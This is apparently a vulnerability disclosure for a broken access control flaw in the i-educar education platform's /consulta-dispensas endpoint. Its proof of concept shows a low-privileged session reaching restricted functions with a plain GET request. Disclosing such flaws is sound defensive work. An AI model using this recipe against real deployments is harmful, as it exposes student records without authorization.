# Broken Access Control  in `/consulta-dispensas` Endpoint

---

## Summary

A **Broken Access Control** vulnerability was identified in the `/consulta-dispensas` endpoint of the _i-educar_ application. This vulnerability allows users without proper permissions to access restricted functionality, bypassing authorization checks.

---

## Details

**Vulnerable Endpoint:** `GET /consulta-dispensas`  
**Authentication:** Required

The application fails to properly validate user permissions before granting access to this endpoint. As a result, even low-privileged users can successfully access the functionality intended only for permited users .

---

## PoC

1. Authenticate as a non-privileged user.
<img width="1603" height="673" alt="Pasted image 20250914131157" src="https://github.com/user-attachments/assets/6d22ec92-9c03-4561-bb20-ecb9de34af3f" />

<img width="936" height="436" alt="Pasted image 20250821191019" src="https://github.com/user-attachments/assets/e036cea7-c9ae-4c34-9100-4aa03f4bca8f" />

    
2. Send the following request::

```
GET /consulta-dispensas HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br, zstd
Connection: keep-alive
Cookie: i_educar_session=[low_privileged cookie]
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
```
    
3. We could observe that we have access to the page and to the function. And, this user, should not do that.

<img width="960" height="816" alt="Pasted image 20250914133014" src="https://github.com/user-attachments/assets/7b646de6-91f0-4d69-8969-ced7c67756c6" />


---

## Impact

Broken Access Control vulnerabilities can have severe consequences, including:

- Unauthorized access to restricted functionality
    
- Escalation of privileges for low-level users
    
- Exposure of sensitive data and potential system compromise
    
- Loss of confidentiality and integrity of educational records
    
- Reputational damage to the organization
    

---

## References

[CVE-2025-11048](https://www.cve.org/CVERecord?id=CVE-2025-11048)

[VulnDB-326085](https://vuldb.com/?id.326085)

[I-Educar – Official Repository](https://github.com/portabilis/i-educar)

## Discoverer

[Marcelo Queiroz](www.linkedin.com/in/marceloqueirozjr) 

by [CVE-Hunters](https://github.com/Sec-Dojo-Cyber-House/cve-hunters)